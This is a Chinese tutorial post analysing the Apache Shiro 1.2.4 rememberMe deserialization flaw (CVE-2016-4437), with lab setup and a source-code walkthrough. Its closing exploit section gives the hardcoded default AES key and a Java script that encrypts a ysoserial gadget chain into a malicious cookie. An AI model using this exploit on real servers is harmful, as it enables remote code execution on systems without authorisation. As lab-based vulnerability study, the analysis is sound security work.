深入探究Shrio反序列化漏洞

Shrio反序列化漏洞

  • 什么是shrio反序列化漏洞
  • 环境搭建
  • 漏洞判断
  • rememberMe解密流程
  • 代码分析
    • 第一层解密
    • 第二层解密
      • 2.1层解密
      • 2.2层解密
  • exp

什么是shrio反序列化漏洞

Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护

Shiro-550反序列化漏洞(CVE-2016-4437) 漏洞简介 shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。 于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。

环境搭建

我们先去github下载shrio 1.2.4的工程代码,下载链接如下

shrio 1.2.4

然后解压到一个文件夹,并打开shiro-shiro-root-1.2.4/pom.xml文件,并把jstl依赖版本改为1.2

1711202988730.png

然后使用IDEA打开Maven项目,位置选择我们刚才解压的文件夹,最后点击确认

1711203015927.png

然后IDAE会自动下载依赖项,需要等待一段时间,如果感觉下的很慢,或者下载失败的话,可以将Maven的下载源更改为国内的

1711203036535.png

下载完成后我们编辑下运行配置,设置为Tomcat本地服务器运行,然后JRE选择我们Java8版本的

1711203068871.png

然后点击部署,工件选择samples-web:war

1711203087252.png

最后点击运行即可,出现下面界面即代表配置成功

1711203104257.png

漏洞判断

访问url/samples_web_war/login.jsp,并登陆抓包
1711203120903.png

抓包完成后,我们回到网页退出下登陆,然后在repeater界面重放下,可以看到remenberme 字段,代表可能存在shrio反序列化漏洞
1711203153748.png
当发现cookie中带有rememberMe字段时,就会触发getRememberedPrincipals方法

该方法路径为 org\apache\shiro\mgt\AbstractRememberMeManager.java 390行 getRememberedPrincipals

rememberMe解密流程

1711203194323.png

1711203218898.png

在shiro进行反序列化前会经过三层解密,如上图所示

1.getRememberedSerializedIdentity(subjectContext) //base64解密
2.convertBytesToPrincipals(bytes, subjectContext) //密钥aes解密&反序列化解密
    2.1 decrypt(bytes) 密钥解密
    2.2 deserialize(bytes)反序列化解密

接下来便对这三层解密进行分析

代码分析

第一层解密

在我们Cookie中传入代码如下rememberMe字段后会先调用getRememberedPrincipals方法对其处理,其中参数subjectContext便是我们传入的rememberMe字段

我们看下该方法的代码

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

代码中的subjectContext属性便为rememberMe字段的值,我们发现对其调用了getRememberedSerializedIdentity方法,跟进查看该方法代码如下

    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);       //关键代码
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

我们看到这句代码byte[] decoded = Base64.decode(base64);,对我们rememberMe字段进行base64解密,然后执行代码return decoded;,返回解密结果

第二层解密

然后回到PrincipalCollection方法,调用第二个解密,也就是调用convertBytesToPrincipals方法对刚才base64解密的结果进行解密

principals = convertBytesToPrincipals(bytes, subjectContext);

我们查看下convertBytesToPrincipals方法,代码如下

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

2.1层解密

首先会对传入的bytes执行函数decrypt(bytes),进行默认的密钥解码

我们看下decrypt函数的代码

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

发现是通过这行代码解密的ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

但是前提得满足if (cipherService != null)

cipherService属性的值是通过代码CipherService cipherService = getCipherService();获取的,我们查看下该方法

    public CipherService getCipherService() {
        return cipherService;
    }

该方法会把属性cipherService的值给该函数中属性cipherService

并且进入if语句后是调用getDecryptionCipherKey()方法获取的密钥进行解密

那现在有两个问题

  1. 属性cipherService的值如何获得呢?
  2. getDecryptionCipherKey()方法又是如何获取的密钥进行解密的呢?

先不着急,我们再看下getDecryptionCipherKey()方法的代码

    public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
    }

可以看到这里会返回全局变量decryptionCipherKey,我们对它查看用法,查看是如何赋值的,用法代码如下

   public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
        this.decryptionCipherKey = decryptionCipherKey;
    }

我们发现调用setDecryptionCipherKey方法会对decryptionCipherKey属性进行赋值,我们再对该方法进行查看用法,查看哪里调用了setDecryptionCipherKey方法对其赋值

我们来到了setCipherKey方法,发现调用这个方法可以对其赋值,进行逐步调用上面的那些函数从而赋值decryptionCipherKey属性

    public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

那我们看下是哪里调用了setCipherKey方法,通过查看用法我们来到了AbstractRememberMeManager类构造方法

在构造方法当中便可以回答我们上面的两个问题

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService(); //赋值cipherService
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);  //赋值密钥decryptionCipherKey
    }

我们看下默认的秘钥DEFAULT_CIPHER_KEY_BYTES的定义,发现其为一个固定的全局属性,只有在shrio 1.2.4当中,密钥才是固定的,在更高版本中则为随机的

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

接下来便调用decrypt方法中的以下代码进行秘钥解密

        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;

2.2层解密

在进行秘钥解密后,便会return解密结果,然后回到convertBytesToPrincipals方法,对其结果调用方法deserialize(bytes),进行最后一步反序列化解密,反序列化漏洞便出现在deserialize方法代码里面

我们查看下deserialize方法代码的代码

   protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return getSerializer().deserialize(serializedIdentity);
    }

可以看到deserialize方法会继续调用getSerializer().deserialize方法处理刚才的秘钥解密数据,

我们先看下getSerializer()方法是怎么定义的,右键查看定义,代码如下

    public Serializer<PrincipalCollection> getSerializer() {
        return serializer;
    }

可以看到返回了全局变量serializer,我们看下该属性的定义,再次来到了构造方法

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

发现serializer属性被赋值为了DefaultSerializer对象,也就是说getSerializer().deserialize实际上是调用了DefaultSerializer对象中的deserialize方法,我们查看其代码

    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

然后便会调用代码T deserialized = (T) ois.readObject();,对我们传入的payload经过3层解密后进行反序列化,然后代码执行

exp

我们使用那条cc链还需要根据具体的java版本以及相关的库版本相关,加密生成rememberMe字段的脚本如下

paylod.txt中存放我们用yso生成的cc链字节码

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("./cs"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//key可使用脚本爆破

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
        try (FileWriter fileWriter = new FileWriter("./paylod.txt")) {
            fileWriter.append(ciphertext.toString());
        }
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/508174.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

FittenChat:程序员写代码的最好辅助利器,没有之一

&#x1f341; 作者&#xff1a;知识浅谈&#xff0c;CSDN签约讲师&#xff0c;CSDN博客专家&#xff0c;华为云云享专家&#xff0c;阿里云专家博主 &#x1f4cc; 擅长领域&#xff1a;全栈工程师&#xff0c;大模型&#xff0c;爬虫、ACM算法 &#x1f492; 公众号&#xff…

如何评估基于指令微调的视觉语言模型的各项能力-MMBench论文解读

1. 传统基准的固有局限 VQAv2:视觉问题回答数据集,主要用于评估视觉理解与推理能力。COCO Caption:图像描述生成数据集,用于评估模型对图像内容的理解与描述能力。GQA:结合常识的视觉问题回答数据集。OK-VQA:需要外部知识的视觉问题回答数据集。TextVQA:图像中包含文本的…

Linux系统网络的实时性评估

目录 1.使用 cyclictest 测试系统实时性2.测试系统通信实时性2.1 PingPlotter2.2 使用 ping 测试通讯实时性 3. 使用 iperf 测试带宽4.网络性能测试 1.使用 cyclictest 测试系统实时性 安装cyclictest sudo apt-get update sudo apt-get install rt-testscyclictest -p 99 -i…

TS学习01 基本类型、编译选项、打包ts代码

TS学习 TypeScript00 概念01 开发环境搭建02 基本类型基本使用⭐类型 03 编译选项tsconfig.jsoncompilerOptions语法检查相关 04 webpack打包ts代码错误解决 05 babel TypeScript BV1Xy4y1v7S2学习笔记 00 概念 以 JavaScript 为基础构建的语言 一个 JavaScript 的超集 Type…

如何使用KST指标进行多头交易,Anzo Capital一个条件设置

在之前的文章中&#xff0c;我们进行分享了以下知识&#xff1a;什么是KST指标&#xff0c;以及如何进行计算KST指标。有聪明的投资者就在后台进行咨询Anzo Capital昂首资本了&#xff0c;我们知道这些知识有什么用呢&#xff1f; 当然有用了&#xff0c;只要理解背后的逻辑知…

三层架构实验--对抗遗忘

交换配置顺序&#xff1a; channel vlan Trunk stp svi vrrp dhcp 绑定channel [sw1]interface e [sw1]interface Eth-Trunk 0 [sw1-Eth-Trunk0]int g 0/0/22 [sw1-GigabitEthernet0/0/22]eth-trunk 0 [sw1-GigabitEthernet0/0/23]eth-trunk 0 [sw2]interface Eth…

【语言信号增强算法研究-1】维纳滤波(Wiener Filter)

1 语音增强方法分类 2 维纳滤波的局限性 对于非线性和非高斯噪声的处理效果不佳&#xff1b; 对于信号和噪声的统计特性要求比较高&#xff0c;需要准确地了解信号和噪声的分布规律&#xff08;说明自适应很差&#xff09;&#xff1b; 在处理复杂信号时&#xff0c;需要进行多…

副业赚钱攻略:给工资低的你6个实用建议,闷声致富不是梦

经常有朋友向我咨询&#xff0c;哪些副业比较靠谱且能赚钱。实际上&#xff0c;对于大多数打工族而言&#xff0c;副业不仅是增加收入的途径&#xff0c;更是利用业余时间提升自我、实现价值的重要方式。 鉴于此&#xff0c;今天我想和大家分享六个值得尝试的副业&#xff0c;…

sql注入---Union注入

文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 学习目标 了解union注入过程中用到的关键数据库&#xff0c;数据表&#xff0c;数据列sql查询中group_concat的作用使用union注入拿到靶机中数据库里的所有用户名和密码 一. 获得数据库表名和列…

CDN流量清洗

CDN是构建在网络之上的内容分发网络&#xff0c;依靠部署在各地的边缘服务器&#xff0c;通过中心平台的分发、调度等功能模块&#xff0c;使用户就近获取所需内容&#xff0c;降低网络拥塞&#xff0c;提高用户访问响应速度和命中率&#xff0c;因此CDN也用到了负载均衡技术。…

57、FreeRTOS/串口通信和DMA ADC PWM相关20240401

一、使用PWMADC光敏电阻完成光控灯的实验。&#xff08;根据测得的光敏电阻大小&#xff0c;控制灯的亮度&#xff09; 代码&#xff1a; /* USER CODE BEGIN 2 */HAL_TIM_PWM_Start(&htim3,TIM_CHANNEL_3);//打开定时器的PWM通道3HAL_TIM_PWM_Start(&htim3,TIM_CHANN…

如何写好面向新人的开发文档

前言 大家在进入公司的时候&#xff0c;或多或少会接触到公司或者来自前辈的文档。文档水平层次不齐&#xff0c;好的事无巨细&#xff0c;层次清晰&#xff0c;拉跨的可能就像正确的废话&#xff0c;正确的说了正确的话。文档形式也是多种多样&#xff0c;word、markdown、云…

【学习笔记】java项目—苍穹外卖day06

文章目录 苍穹外卖-day06课程内容1. HttpClient1.1 介绍1.2 入门案例1.2.1 GET方式请求1.2.2 POST方式请求 2. 微信小程序开发2.1 介绍2.2 准备工作2.3 入门案例2.3.1 小程序目录结构2.3.2 编写和编译小程序2.3.3 发布小程序 3. 微信登录3.1 导入小程序代码3.2 微信登录流程3.3…

详解ExecutorService 和 Executors

代码示例: ExecutorService 表⽰⼀个线程池实例. Executors 是⼀个⼯⼚类, 能够创建出⼏种不同⻛格的线程池. ExecutorService 的 submit ⽅法能够向线程池中提交若⼲个任务. ExecutorService pool Executors.newFixedThreadPool(10);pool.submit(new Runnable() {Overri…

算法系列--递归,回溯,剪枝的综合应用(1)

&#x1f495;"对相爱的人来说&#xff0c;对方的心意&#xff0c;才是最好的房子。"&#x1f495; 作者&#xff1a;Lvzi 文章主要内容&#xff1a;算法系列–递归,回溯,剪枝的综合应用(1) 大家好,今天为大家带来的是算法系列--递归,回溯,剪枝的综合应用(1) 1.全排…

Multisim14.2仿真参数的修改

本内容讲述Multisim14.2仿真参数的修改&#xff0c;以放大倍数修改为例说明。紫色文字是超链接&#xff0c;点击自动跳转至相关博文。持续更新&#xff0c;原创不易&#xff01; 目录&#xff1a; 1、三极管放大倍数的修改 2、Uc的电压计算 1、三极管放大倍数的修改 在仿真…

2024第16届成都实验室装备展6月1日举办

2024第16届成都实验室装备展6月1日举办 邀请函 主办单位&#xff1a; 中国西部教体融合博览会组委会 承办单位&#xff1a;重庆港华展览有限公司 博览会主题&#xff1a;责任教育 科教兴邦 展会背景 现代高新技术与基础科学实验研究对科学仪器的先进性、稳定性、性价比等…

【BlossomRPC】接入注册中心

文章目录 NacosZookeeper自研配置中心 RPC项目 配置中心项目 网关项目 这是BlossomRPC项目的最后一篇文章了&#xff0c;接入完毕注册中心&#xff0c;一个完整的RPC框架就设计完成了。 对于项目对注册中心的整合&#xff0c;其实我们只需要再服务启动的时候将ip/port/servic…

2024阿里云服务器ECS u1实例性能测评_CPU内存_网络_存储

阿里云服务器u1是通用算力型云服务器&#xff0c;CPU采用2.5 GHz主频的Intel(R) Xeon(R) Platinum处理器&#xff0c;ECS通用算力型u1云服务器不适用于游戏和高频交易等需要极致性能的应用场景及对业务性能一致性有强诉求的应用场景(比如业务HA场景主备机需要性能一致)&#xf…

Php_Code_challenge13

题目&#xff1a; 答案&#xff1a; 解析&#xff1a; 开启一个会话&#xff0c;在SESSION变量"nums"为空时则对"nums","time","whoami"进行赋值&#xff0c;并在120秒后关闭会话&#xff0c;创建一个变量"$value"…